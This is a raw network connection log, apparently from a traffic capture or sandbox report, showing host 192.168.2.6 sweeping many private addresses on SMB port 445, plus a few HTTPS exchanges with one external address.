Jul 6, 2024 14:11:23.765305996 CEST	445	50190	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:23.765455008 CEST	445	50191	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:23.765506983 CEST	50189	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:23.766352892 CEST	50190	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:23.766352892 CEST	50190	445	192.168.2.6	192.168.0.151
Jul 6, 2024 14:11:23.771399975 CEST	445	50190	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:23.773511887 CEST	50193	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:23.773808956 CEST	50191	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:23.773808956 CEST	50191	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:23.775312901 CEST	445	50190	192.168.0.151	192.168.2.6
Jul 6, 2024 14:11:23.775496006 CEST	445	50189	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:23.777952909 CEST	50189	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:23.777952909 CEST	50189	445	192.168.2.6	192.168.0.150
Jul 6, 2024 14:11:23.778944016 CEST	445	50193	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:23.779429913 CEST	50193	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:23.779429913 CEST	50193	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:23.780577898 CEST	50192	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:23.788048029 CEST	50194	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:23.788300037 CEST	50195	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:23.803818941 CEST	50196	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:23.804156065 CEST	50197	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:23.804872036 CEST	445	50191	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:23.804955006 CEST	445	50191	192.168.1.25	192.168.2.6
Jul 6, 2024 14:11:23.805156946 CEST	50191	445	192.168.2.6	192.168.1.25
Jul 6, 2024 14:11:23.805423975 CEST	445	50192	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:23.805480003 CEST	445	50189	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:23.805535078 CEST	50192	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:23.806350946 CEST	445	50193	192.168.1.26	192.168.2.6
Jul 6, 2024 14:11:23.806395054 CEST	445	50189	192.168.0.150	192.168.2.6
Jul 6, 2024 14:11:23.806411028 CEST	445	50194	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:23.806418896 CEST	445	50195	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:23.807488918 CEST	50192	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:23.807488918 CEST	50194	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:23.809479952 CEST	445	50196	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:23.809549093 CEST	445	50197	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:23.811127901 CEST	50193	445	192.168.2.6	192.168.1.26
Jul 6, 2024 14:11:23.811127901 CEST	50195	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:23.811127901 CEST	50195	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:23.811403990 CEST	445	50192	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:23.812602043 CEST	445	50192	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:23.815022945 CEST	50194	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:23.817456007 CEST	445	50195	192.168.1.27	192.168.2.6
Jul 6, 2024 14:11:23.818098068 CEST	50195	445	192.168.2.6	192.168.1.27
Jul 6, 2024 14:11:23.820609093 CEST	445	50194	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:23.826612949 CEST	50196	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:23.826613903 CEST	50196	445	192.168.2.6	192.168.0.154
Jul 6, 2024 14:11:23.826613903 CEST	50197	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:23.826613903 CEST	50197	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:23.826613903 CEST	50192	445	192.168.2.6	192.168.0.152
Jul 6, 2024 14:11:23.827414036 CEST	445	50194	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:23.832120895 CEST	50198	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:23.832120895 CEST	50199	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:23.832120895 CEST	50194	445	192.168.2.6	192.168.0.153
Jul 6, 2024 14:11:23.835084915 CEST	50200	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:23.836601973 CEST	445	50196	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:23.836697102 CEST	50201	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:23.836740971 CEST	445	50196	192.168.0.154	192.168.2.6
Jul 6, 2024 14:11:23.837126017 CEST	445	50197	192.168.1.28	192.168.2.6
Jul 6, 2024 14:11:23.837176085 CEST	445	50192	192.168.0.152	192.168.2.6
Jul 6, 2024 14:11:23.839993000 CEST	445	50200	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:23.840498924 CEST	50200	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:23.840586901 CEST	50200	445	192.168.2.6	192.168.0.156
Jul 6, 2024 14:11:23.842308044 CEST	445	50201	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:23.842727900 CEST	50201	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:23.842727900 CEST	50201	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:23.843810081 CEST	445	50198	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:23.844243050 CEST	445	50199	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:23.844252110 CEST	445	50194	192.168.0.153	192.168.2.6
Jul 6, 2024 14:11:23.845863104 CEST	445	50200	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:23.845978975 CEST	445	50200	192.168.0.156	192.168.2.6
Jul 6, 2024 14:11:23.847856045 CEST	445	50201	192.168.1.30	192.168.2.6
Jul 6, 2024 14:11:23.849425077 CEST	50201	445	192.168.2.6	192.168.1.30
Jul 6, 2024 14:11:23.850974083 CEST	50202	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:23.851408958 CEST	50203	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:23.852216005 CEST	50197	445	192.168.2.6	192.168.1.28
Jul 6, 2024 14:11:23.852216005 CEST	50198	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:23.852216005 CEST	50198	445	192.168.2.6	192.168.0.155
Jul 6, 2024 14:11:23.852216005 CEST	50199	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:23.855917931 CEST	445	50202	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:23.856339931 CEST	445	50203	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:23.856611967 CEST	50202	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:23.856611967 CEST	50202	445	192.168.2.6	192.168.0.157
Jul 6, 2024 14:11:23.857801914 CEST	50199	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:23.861799955 CEST	445	50202	192.168.0.157	192.168.2.6
Jul 6, 2024 14:11:23.862859964 CEST	445	50198	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:23.863003016 CEST	445	50198	192.168.0.155	192.168.2.6
Jul 6, 2024 14:11:23.863365889 CEST	445	50199	192.168.1.29	192.168.2.6
Jul 6, 2024 14:11:23.863462925 CEST	50199	445	192.168.2.6	192.168.1.29
Jul 6, 2024 14:11:23.866270065 CEST	50204	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:23.866357088 CEST	50205	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:23.866839886 CEST	50206	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:23.868724108 CEST	50203	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:23.868724108 CEST	50203	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:23.871170998 CEST	445	50204	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:23.871526957 CEST	445	50205	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:23.871953964 CEST	445	50206	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:23.873747110 CEST	445	50203	192.168.1.31	192.168.2.6
Jul 6, 2024 14:11:23.874751091 CEST	50203	445	192.168.2.6	192.168.1.31
Jul 6, 2024 14:11:23.876796007 CEST	50204	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:23.876796007 CEST	50204	445	192.168.2.6	192.168.0.158
Jul 6, 2024 14:11:23.876796007 CEST	50205	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:23.876796007 CEST	50206	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:23.876796007 CEST	50205	445	192.168.2.6	192.168.0.159
Jul 6, 2024 14:11:23.876796007 CEST	50206	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:23.882311106 CEST	445	50204	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:23.882503986 CEST	445	50204	192.168.0.158	192.168.2.6
Jul 6, 2024 14:11:23.882870913 CEST	50207	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:23.897676945 CEST	50208	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:23.897874117 CEST	50209	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:23.913197041 CEST	50210	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:23.913235903 CEST	50211	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:23.913513899 CEST	50212	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:23.928774118 CEST	50213	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:23.928927898 CEST	50214	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:23.942369938 CEST	445	50205	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:23.942384958 CEST	445	50207	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:23.942547083 CEST	50207	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:23.942572117 CEST	50207	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:23.943499088 CEST	445	50206	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:23.943841934 CEST	445	50208	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:23.943850994 CEST	445	50209	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:23.943873882 CEST	445	50210	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:23.943900108 CEST	445	50211	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:23.943909883 CEST	445	50212	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:23.943980932 CEST	50212	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:23.943994999 CEST	445	50213	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:23.944004059 CEST	445	50214	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:23.946592093 CEST	50211	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:23.946592093 CEST	50211	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:23.946877003 CEST	50212	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:23.946913004 CEST	445	50205	192.168.0.159	192.168.2.6
Jul 6, 2024 14:11:23.947168112 CEST	50209	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:23.947168112 CEST	50209	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:23.947397947 CEST	445	50206	192.168.1.32	192.168.2.6
Jul 6, 2024 14:11:23.947990894 CEST	50208	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:23.947990894 CEST	50210	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:23.947990894 CEST	50208	445	192.168.2.6	192.168.0.160
Jul 6, 2024 14:11:23.947990894 CEST	50210	445	192.168.2.6	192.168.0.161
Jul 6, 2024 14:11:23.947990894 CEST	50213	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:23.947992086 CEST	50214	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:23.948301077 CEST	445	50207	192.168.1.33	192.168.2.6
Jul 6, 2024 14:11:23.949239969 CEST	445	50212	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:23.951412916 CEST	50213	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:23.951412916 CEST	50214	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:23.952879906 CEST	445	50209	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:23.952951908 CEST	50206	445	192.168.2.6	192.168.1.32
Jul 6, 2024 14:11:23.952951908 CEST	50207	445	192.168.2.6	192.168.1.33
Jul 6, 2024 14:11:23.954214096 CEST	445	50211	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:23.956242085 CEST	445	50208	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:23.956259966 CEST	445	50210	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:23.956479073 CEST	445	50208	192.168.0.160	192.168.2.6
Jul 6, 2024 14:11:23.956793070 CEST	50211	445	192.168.2.6	192.168.0.162
Jul 6, 2024 14:11:23.956801891 CEST	445	50210	192.168.0.161	192.168.2.6
Jul 6, 2024 14:11:23.956970930 CEST	445	50213	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:23.957231998 CEST	445	50214	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:23.958134890 CEST	445	50211	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:23.959084034 CEST	445	50209	192.168.1.34	192.168.2.6
Jul 6, 2024 14:11:23.959963083 CEST	50215	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:23.960823059 CEST	445	50212	192.168.1.35	192.168.2.6
Jul 6, 2024 14:11:23.962038040 CEST	50209	445	192.168.2.6	192.168.1.34
Jul 6, 2024 14:11:23.962044954 CEST	445	50213	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:23.962107897 CEST	445	50214	192.168.1.36	192.168.2.6
Jul 6, 2024 14:11:23.964797974 CEST	445	50215	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:23.966667891 CEST	50213	445	192.168.2.6	192.168.0.163
Jul 6, 2024 14:11:23.966667891 CEST	50214	445	192.168.2.6	192.168.1.36
Jul 6, 2024 14:11:23.966953039 CEST	445	50188	192.168.1.24	192.168.2.6
Jul 6, 2024 14:11:23.967354059 CEST	50188	445	192.168.2.6	192.168.1.24
Jul 6, 2024 14:11:23.970786095 CEST	50212	445	192.168.2.6	192.168.1.35
Jul 6, 2024 14:11:23.970786095 CEST	50216	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:23.972979069 CEST	50215	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:23.972979069 CEST	50215	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:23.974430084 CEST	445	50213	192.168.0.163	192.168.2.6
Jul 6, 2024 14:11:23.976309061 CEST	50217	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:23.978827000 CEST	445	50215	192.168.1.37	192.168.2.6
Jul 6, 2024 14:11:23.981131077 CEST	445	50211	192.168.0.162	192.168.2.6
Jul 6, 2024 14:11:23.982723951 CEST	50220	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:23.982723951 CEST	50215	445	192.168.2.6	192.168.1.37
Jul 6, 2024 14:11:23.985141993 CEST	445	50217	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:23.987169981 CEST	50218	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:23.987397909 CEST	50219	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:23.987572908 CEST	445	50220	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:23.987724066 CEST	50220	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:23.987724066 CEST	50220	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:23.991966009 CEST	445	50216	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:23.992880106 CEST	445	50220	192.168.1.39	192.168.2.6
Jul 6, 2024 14:11:23.992933035 CEST	50220	445	192.168.2.6	192.168.1.39
Jul 6, 2024 14:11:23.995400906 CEST	50217	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:23.995400906 CEST	50217	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:23.998467922 CEST	445	50218	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:24.000008106 CEST	50216	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:24.000008106 CEST	50216	445	192.168.2.6	192.168.0.164
Jul 6, 2024 14:11:24.000008106 CEST	50218	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:24.000008106 CEST	50218	445	192.168.2.6	192.168.0.166
Jul 6, 2024 14:11:24.000293970 CEST	50221	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:24.000801086 CEST	445	50217	192.168.1.38	192.168.2.6
Jul 6, 2024 14:11:24.002495050 CEST	445	50219	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:24.005263090 CEST	445	50216	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:24.005273104 CEST	445	50218	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:24.005362034 CEST	445	50216	192.168.0.164	192.168.2.6
Jul 6, 2024 14:11:24.005646944 CEST	445	50218	192.168.0.166	192.168.2.6
Jul 6, 2024 14:11:24.009001017 CEST	50219	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:24.009001017 CEST	50219	445	192.168.2.6	192.168.0.165
Jul 6, 2024 14:11:24.009129047 CEST	50217	445	192.168.2.6	192.168.1.38
Jul 6, 2024 14:11:24.013761044 CEST	445	50219	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:24.016098976 CEST	50223	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:24.019428968 CEST	445	50219	192.168.0.165	192.168.2.6
Jul 6, 2024 14:11:24.020322084 CEST	445	50221	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:24.022512913 CEST	50224	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:24.025681973 CEST	50221	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:24.025681973 CEST	50221	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:24.025949001 CEST	50222	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:24.027266979 CEST	445	50224	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:24.027463913 CEST	50224	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:24.027463913 CEST	50224	445	192.168.2.6	192.168.0.168
Jul 6, 2024 14:11:24.027956963 CEST	445	50223	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:24.028089046 CEST	50223	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:24.029932022 CEST	50225	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:24.030782938 CEST	445	50221	192.168.1.40	192.168.2.6
Jul 6, 2024 14:11:24.030888081 CEST	445	50222	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:24.031718969 CEST	50222	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:24.031718969 CEST	50222	445	192.168.2.6	192.168.0.167
Jul 6, 2024 14:11:24.031958103 CEST	50221	445	192.168.2.6	192.168.1.40
Jul 6, 2024 14:11:24.032603979 CEST	445	50224	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:24.032618046 CEST	445	50224	192.168.0.168	192.168.2.6
Jul 6, 2024 14:11:24.033041000 CEST	445	50223	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:24.033092976 CEST	50223	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:24.034841061 CEST	445	50225	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:24.034904003 CEST	50225	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:24.034996986 CEST	50225	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:24.037342072 CEST	445	50222	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:24.037708998 CEST	445	50222	192.168.0.167	192.168.2.6
Jul 6, 2024 14:11:24.038244009 CEST	50226	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:24.038487911 CEST	50227	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:24.039103031 CEST	50223	445	192.168.2.6	192.168.1.41
Jul 6, 2024 14:11:24.039828062 CEST	445	50225	192.168.1.42	192.168.2.6
Jul 6, 2024 14:11:24.039870977 CEST	50225	445	192.168.2.6	192.168.1.42
Jul 6, 2024 14:11:24.043152094 CEST	445	50226	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:24.043211937 CEST	50226	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:24.043313980 CEST	50226	445	192.168.2.6	192.168.0.169
Jul 6, 2024 14:11:24.043719053 CEST	445	50227	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:24.043818951 CEST	50227	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:24.043875933 CEST	445	50223	192.168.1.41	192.168.2.6
Jul 6, 2024 14:11:24.043906927 CEST	50227	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:24.048479080 CEST	445	50226	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:24.048492908 CEST	445	50226	192.168.0.169	192.168.2.6
Jul 6, 2024 14:11:24.049490929 CEST	445	50227	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:24.049659014 CEST	445	50227	192.168.1.43	192.168.2.6
Jul 6, 2024 14:11:24.054045916 CEST	50228	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:24.054769993 CEST	50229	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:24.055732965 CEST	50227	445	192.168.2.6	192.168.1.43
Jul 6, 2024 14:11:24.058537006 CEST	50230	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.059050083 CEST	445	50228	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:24.059376001 CEST	50228	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:24.059376001 CEST	50228	445	192.168.2.6	192.168.0.170
Jul 6, 2024 14:11:24.059691906 CEST	445	50229	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:24.059777975 CEST	50229	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:24.059828997 CEST	50229	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:24.061546087 CEST	443	50230	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.062062025 CEST	50230	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.062592983 CEST	50230	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.062602043 CEST	443	50230	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.064410925 CEST	445	50228	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:24.064657927 CEST	445	50228	192.168.0.170	192.168.2.6
Jul 6, 2024 14:11:24.066555977 CEST	445	50229	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:24.067068100 CEST	445	50229	192.168.1.44	192.168.2.6
Jul 6, 2024 14:11:24.067147970 CEST	50229	445	192.168.2.6	192.168.1.44
Jul 6, 2024 14:11:24.069714069 CEST	50232	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:24.075325012 CEST	445	50232	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:24.076687098 CEST	50231	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:24.079097033 CEST	50232	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:24.079097033 CEST	50232	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:24.081765890 CEST	445	50231	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:24.081835985 CEST	50231	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:24.081875086 CEST	50231	445	192.168.2.6	192.168.0.171
Jul 6, 2024 14:11:24.084405899 CEST	445	50232	192.168.1.45	192.168.2.6
Jul 6, 2024 14:11:24.084850073 CEST	50232	445	192.168.2.6	192.168.1.45
Jul 6, 2024 14:11:24.085037947 CEST	50233	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:24.085200071 CEST	50234	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:24.086682081 CEST	445	50231	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:24.086937904 CEST	445	50231	192.168.0.171	192.168.2.6
Jul 6, 2024 14:11:24.089994907 CEST	445	50233	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:24.090068102 CEST	445	50234	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:24.091939926 CEST	50234	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:24.091939926 CEST	50234	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:24.092997074 CEST	443	50230	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.093054056 CEST	50230	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.093130112 CEST	50230	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.093141079 CEST	443	50230	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.095637083 CEST	50233	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:24.095637083 CEST	50233	445	192.168.2.6	192.168.0.172
Jul 6, 2024 14:11:24.096863031 CEST	445	50234	192.168.1.46	192.168.2.6
Jul 6, 2024 14:11:24.097673893 CEST	50234	445	192.168.2.6	192.168.1.46
Jul 6, 2024 14:11:24.099517107 CEST	50235	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.099544048 CEST	443	50235	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.100331068 CEST	50235	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.100331068 CEST	50235	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:24.100364923 CEST	443	50235	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.100640059 CEST	50236	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:24.103213072 CEST	50237	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:24.116198063 CEST	50238	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:24.116440058 CEST	50239	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:24.131849051 CEST	50240	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:24.132019997 CEST	50241	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:24.133017063 CEST	445	50233	192.168.0.172	192.168.2.6
Jul 6, 2024 14:11:24.133418083 CEST	445	50236	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:24.133724928 CEST	445	50237	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:24.133793116 CEST	445	50238	192.168.0.174	192.168.2.6
Jul 6, 2024 14:11:24.133801937 CEST	445	50239	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:24.134146929 CEST	50236	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:24.134146929 CEST	50236	445	192.168.2.6	192.168.0.173
Jul 6, 2024 14:11:24.134304047 CEST	50239	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:24.134304047 CEST	50239	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:24.139857054 CEST	50237	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:24.139857054 CEST	50237	445	192.168.2.6	192.168.1.47
Jul 6, 2024 14:11:24.142601013 CEST	445	50240	192.168.0.175	192.168.2.6
Jul 6, 2024 14:11:24.142612934 CEST	445	50241	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:24.142688990 CEST	50241	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:24.142735004 CEST	445	50239	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:24.142868042 CEST	50241	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:24.142956972 CEST	445	50236	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:24.143385887 CEST	443	50235	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:24.143858910 CEST	50238	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:24.143860102 CEST	50238	445	192.168.2.6	192.168.0.174
Jul 6, 2024 14:11:24.144861937 CEST	445	50239	192.168.1.48	192.168.2.6
Jul 6, 2024 14:11:24.145361900 CEST	50239	445	192.168.2.6	192.168.1.48
Jul 6, 2024 14:11:24.145535946 CEST	445	50236	192.168.0.173	192.168.2.6
Jul 6, 2024 14:11:24.146747112 CEST	445	50237	192.168.1.47	192.168.2.6
Jul 6, 2024 14:11:24.146781921 CEST	50240	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:24.146781921 CEST	50240	445	192.168.2.6	192.168.0.175
Jul 6, 2024 14:11:24.147944927 CEST	445	50241	192.168.1.49	192.168.2.6
Jul 6, 2024 14:11:24.147999048 CEST	50241	445	192.168.2.6	192.168.1.49
Jul 6, 2024 14:11:24.148624897 CEST	50242	445	192.168.2.6	192.168.0.176
Jul 6, 2024 14:11:24.148806095 CEST	445	50238	192.168.0.174	192.168.2.6
